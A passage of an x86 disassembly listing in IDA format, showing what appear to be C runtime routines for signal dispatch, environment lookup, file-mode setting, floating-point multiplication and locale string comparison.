arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC5C
		mov	eax, offset dword_4DBC5C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC58
		mov	eax, offset dword_4DBC58
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC60
		mov	eax, offset dword_4DBC60
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC54
		mov	eax, offset dword_4DBC54


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA30
		and	dword_4DBA30, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43D02C
		mov	dword_43D02C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43D020
		mov	ecx, dword_43D024
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CFB0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43D02C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA30, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43D02C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFAC, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFF0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB980
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB988, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB980
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB958, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB958, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D4A8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D608
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCDA4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFC4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB988
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CE8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC68, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427938
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC68, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB50C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 260071Ah
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC68, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC68
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 260071Ah
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2600000h
		nop
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB980
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB984
		jnz	short loc_4261F5
